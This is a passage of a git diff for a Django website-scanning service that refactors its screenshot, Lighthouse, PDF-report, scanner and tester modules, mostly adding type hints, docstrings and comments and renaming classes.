         add image_obj to image_array, & remove image file
+
+        Returns -> None
         """
         remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
         root_path = settings.AWS_S3_URL_PATH
@@ -150,17 +150,21 @@ def save_image(self, pic_id, image):
         # remove local copy
         os.remove(image)
 
+        return None
 
 
 
 
-
-
-
-    def scan_s(self, driver=None):
+    def scan_s(self, driver: object=None) -> list:
         """
         Grabs full length screenshots of the website and uploads 
         them to s3.
+
+        Expects: {
+            'driver': object
+        }
+
+        Returns -> self.image_array list
         """
 
         # initialize driver if not passed as param
@@ -291,42 +295,47 @@ def scan_s(self, driver=None):
         # saving image
         self.save_image(pic_id=pic_id_2, image=final_img)
 
+        # clean up
         if not driver_present:
             quit_driver(driver)
 
+        # return images
         return self.image_array
 
 
 
 
-
-
-
-
-    async def scan_p(self):
+    async def scan_p(self) -> list:
         """
         Using Puppeteer, grabs full length screenshots of the website and uploads 
         them to s3.
+
+        Returns -> self.image_array list
         """
 
         @sync_to_async
         def get_page():
             _page = self.scan.page
             return _page
-
+        
+        # getting Scanerr `page` object
         _page = await get_page()
 
+        # starting up puppeteer driver
         driver = await driver_init_p(
             window_size=self.configs.get('window_size', '1920,1080'), 
             wait_time=int(self.configs.get('max_wait_time', 30))
         )
+
+        # initing new puppeteer page
         page = await driver.newPage()
 
+        # setting configs for driver
         sizes = self.configs.get('window_size', '1920,1080').split(',')
         is_mobile = False
         if self.configs.get('device') == 'mobile':
             is_mobile = True
-        
+
         page_options = {
             'waitUntil': 'networkidle0', 
             # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
@@ -343,22 +352,22 @@ def get_page():
         if self.configs.get('auto_height', True):
             page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
 
+        # setting more driver configs
         viewport = {
             'width': int(sizes[0]),
             'height': int(page_height),
             'isMobile': is_mobile,
         }
-        
         userAgent = (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
             (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
         )
-        
         emulate_options = {
             'viewport': viewport,
             'userAgent': userAgent
         }
 
+        # setting device type
         if self.configs.get('device') == 'mobile':
             await page.emulate(emulate_options)
         else:
@@ -367,15 +376,15 @@ def get_page():
         # requesting page_url
         await page.goto(_page.page_url, page_options)
 
+        # handling anamations
         if self.configs.get('disable_animations') == True:
-            # inserting animation pausing script
             try:
+                # inserting animation pausing script
                 await page.evaluate(self.pause_animations_script)
             except:
                 print('cannot pause animations')
-
-            # pausing videos
             try:
+                # pausing videos
                 videos = await page.querySelectorAll('video')
                 for vid in videos:
                     await page.evaluate('(vid) => vid.pause()', vid)
@@ -479,20 +488,16 @@ def save_image(*args, **kwargs):
         # saving image
         await save_image(pic_id=pic_id, image=final_img)
 
+        # cleaning up
         await driver.close()
 
+        # returning images
         return self.image_array
 
 
 
 
-
-
-
-
-
-
-    def test(self, test, index=None):
+    def test(self, test: object, index: int=None) -> dict:
         """
         Compares each screenshot between the two scans and records 
         a score out of 100%.
@@ -501,6 +506,16 @@ def test(self, test, index=None):
             - Structral Similarity Index (ssim)
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
+
+        Expects: {
+            'test': object, 
+            'index': int,
+        }
+
+        Returns -> data: {
+            'average_score' : float(0-100),
+            'images'        : dict,
+        }
         """
 
         # setup temp dirs
@@ -573,7 +588,7 @@ def test(self, test, index=None):
                 # build two new images with differences highlighted
                 def highlight_diffs(pre_img_path, post_img_path, index):
                     '''
-                        Returns -> two new images with highlights & float(ssim_score)
+                    Returns -> two new images with highlights & float(ssim_score)
                     '''
                     # Load the images
                     image1 = cv2.imread(pre_img_path)
@@ -707,8 +722,7 @@ def cv2_score(pre_img, post_img):
                     pre_img_diff = ssim_results['img_objs'][0]
                     post_img_diff = ssim_results['img_objs'][1]
                     
-                    # img_score_tupple = ssim(pre_img_array, post_img_array)
-                    # img_score_list = list(img_score_tupple)  statistics.fmean(img_score_list)
+                    # ssim scoring
                     ssim_img_score =  ssim_results['ssim_score'] * 100
 
                     # pillow scoring
@@ -767,12 +781,14 @@ def cv2_score(pre_img, post_img):
             avg_score = statistics.fmean(scores)
         except:
             avg_score = None
-            
+
+        # formatting response
         images_delta = {
             "average_score": avg_score,
             "images": img_test_results,
         }
 
+        # returning response
         return images_delta
 
 
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index b9a83bd5..f456b93f 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,12 +1,19 @@
-import subprocess, json, uuid, boto3, shutil, os, requests
+import subprocess, json, uuid, boto3, os, requests
 from ..models import Site, Scan
 from scanerr import settings
 
 
 
+
+
+
 class Lighthouse():
 
-    """Initializes Google's Lighthouse CLI and runs an audit of the site"""
+    """
+    Initializes Google's Lighthouse CLI and runs an audit of the site
+
+    Use self.get_data() to init a run
+    """
 
 
     def __init__(self, scan=None, configs=None):
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 6e637c4c..e92ff8bd 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,36 +1,53 @@
 from ..models import *
-import PIL.Image as Img
 from scanerr import settings
-from datetime import datetime, timedelta
 from reportlab.lib.pagesizes import letter
 from reportlab.lib.units import inch
 from reportlab.lib.colors import HexColor
 from reportlab.pdfgen import canvas
-import time, os, sys, json, boto3, textwrap, requests
+import os, json, boto3, textwrap, requests
+
+
 
 
 
-class Reporter():
 
-    ''' 
-    Used for generating web vitals reports for the passed `Site` obj
+class Reporter():
+    """ 
+    Used for generating web vitals reports for 
+    the associated `Page` & `Scan`
 
     Expects -> {
-        "report": <report:obj>,
+        'report': <report:obj>,
+        'scan'  : <scan:obj>,
     }
 
-    returns --> <report:obj>
-    
-    '''
+    Use self.generate_report() to create a new report
 
-    def __init__(self, report, scan=None):
+    Returns -> data: {
+        'report' : object,
+        'success': bool,
+        'message': str
+    }
+    """
+
+
+
+
+    def __init__(self, report: object, scan: object=None):
+        
+        # getting report, scan, & page
         self.report = report
         self.page = self.report.page
+        self.scan = scan
+
+        # retrieveing latest scan if none
         if scan is None:
-            self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id'])
-        else:
-            self.scan = scan
+            try:
+                self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id'])
+            except:
+                self.scan = None
 
+        
         # building paths & canvas template
         if os.path.exists(os.path.join(settings.BASE_DIR,  f'temp/')):
             self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
@@ -38,6 +55,7 @@ def __init__(self, report, scan=None):
             os.makedirs(f'{settings.BASE_DIR}/temp')
             self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
     
+        # setting default colors 
         self.page_index = 0
         self.text_color = self.report.info['text_color']
         self.highlight_color = self.report.info['highlight_color']
@@ -53,48 +71,67 @@ def __init__(self, report, scan=None):
         )
 
     
-    def setup_page(self):
+
+
+    def setup_page(self) -> None:
         # sets the defaults for a new page
         self.c.setFillColor(HexColor(self.background_color))
         self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1)
+        return None
 
 
-    def end_page(self):
+
+
+    def end_page(self) -> None:
         # adds page number and ends page
         self.c.setFont('Helvetica-Bold', 15)
         self.c.setFillColor(HexColor(self.text_color))
         self.page_index += 1
         self.c.drawString(7.7*inch, .3*inch, str(self.page_index))
         self.c.showPage()
+        return None
+
 
 
-    def draw_page_title(self, title):
+
+    def draw_page_title(self, title: str) -> None:
         # adds a title to the given page 
         self.c.setFont('Helvetica-Bold', 32)
         self.c.setFillColor(HexColor(self.text_color))
         self.c.drawCentredString(4.25*inch, 10*inch, title)
+        return None
+
 
 
-    def publish_report(self):
+
+    def publish_report(self) -> None:
+        # saves report and uploads to s3
         self.c.save()
         remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
-        
-
         # uploading package to remote s3 
         with open(self.local_path, 'rb') as data:
             self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
                 remote_path, ExtraArgs={
                     'ACL': 'public-read', 'ContentType': 'application/pdf'}
             )
-
+        # building and saving report_url
         report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0'
-
         self.report.path = report_url
         self.report.save()
         os.remove(self.local_path)
+        return None
 
-    
-    def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
+
+
+
+    def draw_wrapped_line(
+            self, 
+            text: str, 
+            length: int, 
+            x_pos: int, 
+            y_pos: int, 
+            y_offset: int
+        ) -> None:
         """
         :param text: the raw text to wrap
         :param length: the max number of characters per line
@@ -102,6 +139,7 @@ def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
         :param y_pos: starting y position
         :param y_offset: the amount of space to leave between wrapped lines
         """
+        # Wraps the passed test at a certain char_length
         if len(text) > length:
             wraps = textwrap.wrap(text, length, break_long_words=True)
             for x in range(len(wraps)):
@@ -110,11 +148,18 @@ def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
             y_pos += y_offset  # add back offset after last wrapped line
         else:
             self.c.drawString(x_pos*inch, y_pos*inch, text)
-        return y_pos
+        return None
 
     
 
-    def cover_page(self):
+
+    def cover_page(self) -> None:
+        """ 
+        Builds the cover page with a title
+
+        Returns -> None
+        """
+
         # background and title
         self.setup_page()
         
@@ -161,17 +206,31 @@ def cover_page(self):
         # cover img
         cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
         self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')
-
         self.end_page()
-
+        return None
+        
 
 
     
-    def get_score_data(self, score, is_binary=False):
+    def get_score_data(self, score: float, is_binary: bool=False) -> dict:
+        """ 
+        Using the passed 'score', decide on 
+        which grade and color to return.
+
+        Expects: {
+            'score'     : float,
+            'is_binary' : bool
+        }
+
+        Returns -> dict
+        """
+
+        # calc score if binary
         score = float(score)
         if is_binary:
             score = score*100
 
+        # defining score types
         score_types = {
             "a": {
                 "grade": "A",
@@ -200,6 +259,7 @@ def get_score_data(self, score, is_binary=False):
 
         }
 
+        # calculate grade
         if score >= 80:
             grade = score_types['a']
         elif 80 > score >= 70:
@@ -213,10 +273,16 @@ def get_score_data(self, score, is_binary=False):
         else:
             grade = score_types['f']
 
+        # return
         return grade
 
 
-    def get_cat_string(self, cat):
+
+
+    def get_cat_string(self, cat: str) -> str:
+        """ 
+        Returns the string coresponding to the passed 'cat'
+        """
         
         if cat == 'fonts':
             string = 'Fonts'
@@ -255,9 +321,10 @@ def get_cat_string(self, cat):
 
     
     
-    def get_audits(self, uri=str):
+
+    def get_audits(self, uri: str) -> dict:
         """
-        Downloads teh JSON file from the passed uri
+        Downloads the JSON file from the passed uri
         and return the data as a python dict
         """
         res = requests.get(uri)
@@ -267,15 +334,28 @@ def get_audits(self, uri=str):
 
 
 
-    def create_data(self, data_type=str):
+    def create_data(self, data_type: str) -> None:
+        """ 
+        Paints the data for the passed 'data_type', 
+        either 'lighthouse' or 'yellowlab'.
+        
+        Expects: {
+            'data_type': str
+        }
+
+        Returns -> None
+        """
+        
+        # add new page
         self.setup_page()
         
+        # decide on which data type
         if data_type == 'yellowlab':
             data = self.scan.yellowlab
             data['audits'] = self.get_audits(data['audits'])
             page_title = 'Yellow Lab'
             avg_score = 'globalScore'
-        
+
         if data_type == 'lighthouse':
             data = self.scan.lighthouse
             data['audits'] = self.get_audits(data['audits'])
@@ -337,7 +417,6 @@ def create_data(self, data_type=str):
                         f'{data["scores"][avg_score]}/100'
                     )
 
-                
                 # creating new page at limit --> 20 items
                 if logs_count >= 20:
                     self.end_page()
@@ -349,8 +428,6 @@ def create_data(self, data_type=str):
                 # creating space btw sections
                 if c_count > 0 and logs_count != 0:
                     begin_y = (self.y - .2)
-                    
-
 
                 # creating individual grade cards
                 grade_obj = self.get_score_data(data['scores'][cat])
@@ -380,7 +457,6 @@ def create_data(self, data_type=str):
                     cat_string
                 )
 
-
                 p_count = 0
                 for policy in data['audits'][cat]:
 
@@ -400,7 +476,6 @@ def create_data(self, data_type=str):
                                 policy_value = policy["displayValue"]
                         binary = True
 
-
                     if len(policy_text) < 53:
                         # creating log box
                         self.c.setFont('Helvetica', 9)
@@ -442,60 +517,63 @@ def create_data(self, data_type=str):
                             (f'{policy_value}')
                         )
                         
-                        
                         p_count += 1
                         logs_count += 1
                         self.y = (begin_y - (space * p_count))
             
             c_count += 1
         
-
-        
         self.end_page()
 
+        return None
 
 
 
 
 
+    def generate_report(self) -> dict:
+        """ 
+        Generates a new Report.
 
+        Returns -> data: {
+            'report' : object,
+            'success': bool,
+            'message': str
+        }
+        """
 
+        # setting defaults
+        message = 'Scan Page first'
+        success = False
 
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-    def make_test_report(self):
+        # generating if scan is available
+        if self.scan:
+            
+            # add title
+            self.cover_page()
         
-        self.cover_page()
-    
-        if 'lighthouse' in self.report.type or 'full' in self.report.type:
-            self.create_data(data_type='lighthouse')
-
-        if 'yellowlab' in self.report.type or 'full' in self.report.type:
-            self.create_data(data_type='yellowlab')
+            # build lighthouse data
+            if 'lighthouse' in self.report.type or 'full' in self.report.type:
+                self.create_data(data_type='lighthouse')
 
-        if 'crux' in self.report.type or 'full' in self.report.type:
-            self.setup_page()
-            self.draw_page_title('CRUX')
-            self.end_page()
+            # build yellowlab data
+            if 'yellowlab' in self.report.type or 'full' in self.report.type:
+                self.create_data(data_type='yellowlab')
+            
+            # save report
+            self.publish_report()
+            message = 'Report Generated'
+            success = True
+        
+        # formating response
+        data = {
+            'report' : self.report,
+            'success': success,
+            'message': message
+        }
 
-        self.publish_report()
-        return self.report
+        # returning response
+        return data
 
 
         
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index a8c7ede9..93c462f8 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -2,83 +2,90 @@
 from .driver_s import driver_wait, get_data as get_s_driver_data
 from .driver_p import get_data
 from ..models import *
-from .automations import automation
+from .automater import Automater
 from .tester import Tester
-from django.forms.models import model_to_dict
-from django.core.serializers.json import DjangoJSONEncoder
 from .lighthouse import Lighthouse
 from .yellowlab import Yellowlab
-from .image import Image
+from .imager import Imager
 from datetime import datetime
 from scanerr import settings
-import time, os, sys, json, asyncio, uuid, boto3
+import os, asyncio, uuid, boto3
+
+
+
 
 
 
 class Scanner():
+    """ 
+    Used to run and build all the 
+    components of a new `Scan`
+
+    Expects -> {
+        'site'    : object,
+        'page'    : object,
+        'scan'    : object,
+        'configs' : dict,
+        'type'    : list
+    }
+
+    Use self.build_scan() to create a new Scan
+
+    Returns -> `Scan` object
+    """
+
+
+
 
     def __init__(
             self, 
-            site=None, 
-            page=None,
-            scan=None, 
-            configs=None,
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+            site: object=None, 
+            page: object=None,
+            scan: object=None, 
+            configs: dict=settings.CONFIGS,
+            type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
         ):
 
-        if site == None and scan != None:
-            site = scan.site
-        
-        if page == None and scan != None:
-            page = scan.page
-        
-        if configs is None:
-            configs = {
-                'window_size': '1920,1080',
-                'driver': 'selenium',
-                'device': 'desktop',
-                'mask_ids': None,
-                'interval': 5,
-                'min_wait_time': 10,
-                'max_wait_time': 60,
-                'timeout': 300,
-                'disable_animations': False
-            }
-        
         self.site = site
         self.page = page
-        
-        if configs['driver'] == 'selenium':
-            self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device'])
-        
-        if scan is not None:
-            self.scan = scan
-        else:
-            self.scan = None
-        
+        self.scan = scan
         self.configs = configs
         self.type = type
 
+        # getting page and site if None
+        if site == None and scan != None:
+            self.site = scan.site
+        if page == None and scan != None:
+            self.page = scan.page
+        
+    
 
 
-    def first_scan(self):
+    def build_scan(self) -> object:
         """
-            Method to run a scan independently of an existing `scan` obj.
+        Method to run a scan independently of an existing `scan` obj.
 
-            returns -> `Scan` <obj>
+        Returns -> `Scan` <obj>
         """
 
+        # setting defaults
         html = None
         logs = None
         images = None
         lh_data = None
         yl_data = None
 
+        # creating Scan obj if None was passed
         if self.scan is None:
             self.scan = Scan.objects.create(site=self.site, page=self.page, type=self.type)
         
+        # running scan steps with selenium driver
         if self.configs['driver'] == 'selenium':
-            self.driver.get(self.page.page_url)
+            driver = driver_s_init(
+                window_size=self.configs['window_size'], 
+                device=self.configs['device']
+            )
+            driver.get(self.page.page_url)
             s_driver_data = get_s_driver_data(
                 driver=self.driver, 
                 max_wait_time=self.configs['max_wait_time']
@@ -88,9 +95,11 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = s_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image(scan=self.scan, configs=self.configs).scan_s(driver=self.driver)
-            quit_driver(self.driver)
-        else:
+                images = Imager(scan=self.scan, configs=self.configs).scan_s(driver=driver)
+            quit_driver(driver)
+        
+        # running scan steps with puppeteer driver
+        if self.configs['driver'] == 'puppeteer':
             p_driver_data = asyncio.run(
                 get_data(
                     url=self.page.page_url, 
@@ -102,13 +111,15 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = p_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image(scan=self.scan, configs=self.configs).scan_p())
+                images = asyncio.run(Imager(scan=self.scan, configs=self.configs).scan_p())
         
+        # running LH & YL if requested
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
             lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
         if 'yellowlab' in self.scan.type or 'full' in self.scan.type:
             yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
 
+        # updating Scan object
         if html is not None:
             save_html(html, self.scan)
         if logs is not None:
@@ -120,115 +131,33 @@ def first_scan(self):
         if yl_data is not None:
             self.scan.yellowlab = yl_data
 
+        # saving scan data
         self.scan.configs = self.configs
         self.scan.time_completed = datetime.now()
         self.scan.save()
-        first_scan = self.scan
 
-        update_page_info(first_scan)
-        update_site_info(first_scan)
+        # updating Site and Page objects
+        update_page_info(self.scan)
+        update_site_info(self.scan)
 
-        return first_scan
+        # return updated scan obj
+        return self.scan
 
 
 
 
-
-    def second_scan(self):
-        """
-            Method to run a scan and attach existing `Scan` obj to it.
-
-            returns -> `Scan` <obj>
-        """
-        if not self.scan:
-            first_scan = Scan.objects.filter(
-                site=self.site, 
-                page=self.page,
-                time_completed__isnull=False
-            ).order_by('-time_created').first()
-        
-        else:
-            first_scan = self.scan
-
-        # create second scan obj 
-        second_scan = Scan.objects.create(site=self.site,  page=self.page, type=self.type)
-
-        html = None
-        logs = None
-        images = None
-        lh_data = None
-        yl_data = None
-        
-        if self.configs['driver'] == 'selenium':
-            self.driver.get(self.page.page_url)
-            s_driver_data = get_s_driver_data(
-                driver=self.driver, 
-                max_wait_time=self.configs['max_wait_time']
-            )
-            if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = s_driver_data['html']
-            if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = s_driver_data['logs']
-            if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image(scan=self.second_scan, configs=self.configs).scan_s(driver=self.driver)
-            quit_driver(self.driver)
-        else:
-            p_driver_data = asyncio.run(
-                get_data(
-                    url=self.page.page_url, 
-                    configs=self.configs
-                )
-            )
-            if 'html' in second_scan.type or 'full' in second_scan.type:
-                html = p_driver_data['html']
-            if 'logs' in second_scan.type or 'full' in second_scan.type:
-                logs = p_driver_data['logs']
-            if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image(scan=self.second_scan, configs=self.configs).scan_p())
-        
-        if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
-            lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
-        if 'yellowlab' in second_scan.type or 'full' in second_scan.type:
-            yl_data = Yellowlab(scan=second_scan, configs=self.configs).get_data()
-
-        if html is not None:
-            save_html(html, second_scan)
-        if logs is not None:
-            second_scan.logs = logs
-        if images is not None:
-            second_scan.images = images
-        if lh_data is not None:
-            second_scan.lighthouse = lh_data
-        if yl_data is not None:
-            second_scan.yellowlab = yl_data
-
-        second_scan.configs = self.configs
-
-        second_scan.time_completed = datetime.now()
-        second_scan.paired_scan = first_scan
-        second_scan.save()
-        
-        first_scan.paried_scan = second_scan
-        first_scan.save()
-
-        update_page_info(second_scan)
-        update_site_info(second_scan)
-        
-        return second_scan
-
-
-
-
-
-
-
-def update_site_info(scan):
+def update_site_info(scan: object) -> object:
     """ 
-        Method to update associated Site with the new Scan data
+    Method to update associated Site with the new Scan data
 
-        returns -> `Site` <obj>
+    Expects: {
+        'scan': object
+    }
+
+    Returns -> `Site` <obj>
     """
-        
+    
+    # setting defaults
     health = 'No Data'
     badge = 'neutral'
     score = 0
@@ -247,8 +176,7 @@ def update_site_info(scan):
     
     # calc average score
     if len(scans) > 0:
-        score = sum(scans)/len(scans)
-        
+        score = sum(scans)/len(scans)  
     if score != 0:
         if score >= 75:
             health = 'Good'
@@ -259,7 +187,6 @@ def update_site_info(scan):
         elif 60 > score:
             health = 'Poor'
             badge = 'danger'
-    
     else:
         if site.info['status']['score'] is not None:
             score = float(site.info['status']['score'])
@@ -268,35 +195,40 @@ def update_site_info(scan):
         else:
             score = None
 
+    # saving new info to site
     site.info['latest_scan']['id'] = str(scan.id)
     site.info['latest_scan']['time_created'] = str(scan.time_created)
     site.info['latest_scan']['time_completed'] = str(scan.time_completed)
     site.info['status']['health'] = str(health)
     site.info['status']['badge'] = str(badge)
     site.info['status']['score'] = score
-
     site.save()
 
+    # returning site
     return site
 
 
 
 
-
-
-def update_page_info(scan):
+def update_page_info(scan: object) -> object:
     """ 
-        Method to update associated Page with the new Scan data
+    Method to update associated Page with the new Scan data
+
+    Expects: {
+        'scan': object
+    }
 
-        returns -> `Page` <obj>
+    Returns -> `Page` <obj>
     """
-        
+    
+    # setting defaults
     health = 'No Data'
     badge = 'neutral'
     d = 0
     score = 0
     page = scan.page
 
+    # selecting LH & YL scores if present
     if scan.lighthouse['scores']['average'] is not None:
         score += float(scan.lighthouse['scores']['average'])
         d += 1
@@ -304,6 +236,7 @@ def update_page_info(scan):
         score += float(scan.yellowlab['scores']['globalScore'])
         d += 1
     
+    # calc average health score
     if score != 0:
         score = score / d
         if score >= 75:
@@ -315,7 +248,6 @@ def update_page_info(scan):
         elif 60 > score:
             health = 'Poor'
             badge = 'danger'
-    
     else:
         if scan.page.info['status']['score'] is not None:
             score = float(page.info['status']['score'])
@@ -324,6 +256,7 @@ def update_page_info(scan):
         else:
             score = None
 
+    # saving new info to page
     page.info['latest_scan']['id'] = str(scan.id)
     page.info['latest_scan']['time_created'] = str(scan.time_created)
     page.info['latest_scan']['time_completed'] = str(scan.time_completed)
@@ -332,22 +265,25 @@ def update_page_info(scan):
     page.info['status']['health'] = str(health)
     page.info['status']['badge'] = str(badge)
     page.info['status']['score'] = score
-
     page.save()
 
+    # returning page
     return page
 
 
 
 
-
-
-def save_html(html, scan):
+def save_html(html: str, scan: object) -> object:
     """
-        Saves html page source as a '.txt' file and uploads 
-        to s3. Then saves the remote uri to the `scan` obj.
+    Saves html page source as a '.txt' file and uploads 
+    to s3. Then saves the remote uri to the `scan` obj.
 
-        returns -> `Scan` <obj>
+    Expects: {
+        html: str, 
+        scan: object
+    }
+
+    Returns -> `Scan` <obj>
     """
 
     # setup boto3 configuration
@@ -382,24 +318,31 @@ def save_html(html, scan):
     # remove local copy
     os.remove(html_file)
 
+    # return scan
     return scan
 
 
 
 
-
-
-def check_scan_completion(scan, test_id, automation_id):
+def check_scan_completion(scan: object, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method that checks if the scan has finished all 
-        components. If so, method also updates Scan, Site, 
-        & Page info.
+    Method that checks if the scan has finished all 
+    components. If so, method also updates Scan, Site, 
+    & Page info. If test_id is present, initiates a run_test()
+
+    Expects: {
+        scan: object, 
+        test_id: str,
+        automation_id: str
+    }
 
-        returns -> `Scan` <obj>
+    Returns -> `Scan` <obj>
     """
 
+    # setting defaults
     finished = True
 
+    # checking for each scan type completion
     if 'html' in scan.type or 'full' in scan.type:
         if scan.html == None or scan.html == '':
             finished = False
@@ -434,27 +377,35 @@ def check_scan_completion(scan, test_id, automation_id):
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id:
-                automation(automation_id, test.id)
+                Automater(automation_id, test.id).run_automation()
 
+    # returning scan
     return scan
 
 
 
 
+def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
+    """
+    Method to run the 'html' and 'logs' component of the scan 
+    allowing for multi-threading.
 
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
 
-def _html_and_logs(scan_id, test_id, automation_id):
+    Returns -> `Scan` <obj>
     """
-        Method to run the 'html' and 'logs' component of the scan 
-        allowing for multi-threading.
 
-        returns -> `Scan` <obj>
-    """
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
     try:
+        # get html and logs if driver is selenium
         if scan.configs['driver'] == 'selenium':
-
+            # init driver & get data
             driver = driver_s_init(
                 window_size=scan.configs['window_size'], 
                 device=scan.configs['device']
@@ -475,8 +426,9 @@ def _html_and_logs(scan_id, test_id, automation_id):
                 scan.save()
             quit_driver(driver)
 
+        # get html and logs if driver is puppeteer
         if scan.configs['driver'] == 'puppeteer':
-            
+            # init driver & get data
             p_driver_data = asyncio.run(
                 get_data(
                     url=scan.page.page_url, 
@@ -495,33 +447,42 @@ def _html_and_logs(scan_id, test_id, automation_id):
     except Exception as e:
         print(e)
 
-
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # return udpated scan
     return scan
 
 
 
 
-
-def _vrt(scan_id, test_id, automation_id):
+def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method to run the visual regression (vrt) component of the scan 
-        allowing for multi-threading.
+    Method to run the visual regression (vrt) component of the scan 
+    allowing for multi-threading.
+
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
 
-        returns -> `Scan` <obj>
+    Returns -> `Scan` <obj>
     """
+    
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
     
     try:
+        # run Imager using selenium
         if scan.configs['driver'] == 'selenium':
             driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Image(scan=scan, configs=scan.configs).scan_s(driver=driver)
+            images = Imager(scan=scan, configs=scan.configs).scan_s(driver=driver)
             quit_driver(driver)
 
+        # run Imager using puppeteer
         if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Image(scan=scan, configs=scan.configs).scan_p())
+            images = asyncio.run(Imager(scan=scan, configs=scan.configs).scan_p())
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
@@ -533,19 +494,27 @@ def _vrt(scan_id, test_id, automation_id):
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # returning updated scan
     return scan
 
 
 
 
-
-def _lighthouse(scan_id, test_id, automation_id):
+def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method to run the lighthouse component of the scan 
-        allowing for multi-threading.
+    Method to run the lighthouse component of the scan 
+    allowing for multi-threading.
 
-        returns -> `Scan` <obj>
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
+
+    Returns -> `Scan` <obj>
     """
+    
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
     try:
@@ -562,20 +531,27 @@ def _lighthouse(scan_id, test_id, automation_id):
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # returning updated scan
     return scan
 
 
 
 
-
-
-def _yellowlab(scan_id, test_id, automation_id):
+def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     """
-        Method to run the yellowlab component of the scan 
-        allowing for multi-threading.
+    Method to run the yellowlab component of the scan 
+    allowing for multi-threading.
+
+    Expects: {
+        scan_id: str, 
+        test_id: str, 
+        automation_id: str
+    }
 
-        returns -> `Scan` <obj>
+    Returns -> `Scan` <obj>
     """ 
+    
+    # retrieve scan
     scan = Scan.objects.get(id=scan_id)
     
     try:
@@ -592,4 +568,9 @@ def _yellowlab(scan_id, test_id, automation_id):
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
 
+    # returning updated scan
     return scan
+
+
+
+
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index d4aa278a..17d3de6f 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,16 +1,36 @@
 from ..models import *
 from datetime import datetime
-from .image import Image
+from .imager import Imager
 from scanerr import settings
-from difflib import SequenceMatcher, HtmlDiff, Differ
-import time, os, sys, json, random, string, re, requests, uuid, boto3
+from difflib import SequenceMatcher
+import os, json, random, \
+string, re, requests, uuid, boto3
+
+
 
 
 
 
 class Tester():
+    """ 
+    Used to run and build all the 
+    components of a new `Test`
+
+    Expects -> {
+        'test' : object,
+    }
+
+    Use self.run_test() to create a new Test
+
+    Returns -> `Test` object
+    """
+
 
-    def __init__(self, test):
+
+
+    def __init__(self, test: object):
+
+        # setting defaults
         self.test = test
         self.pre_scan_html = []
         self.post_scan_html = []
@@ -28,12 +48,19 @@ def __init__(self, test):
         )
 
 
-    def clean_html(self):
+
+
+    def clean_html(self) -> None:
+        # cleans both pre_ and post_ html
+        # and prepares them for comparison
+
+        # retrieveing data from remote s3
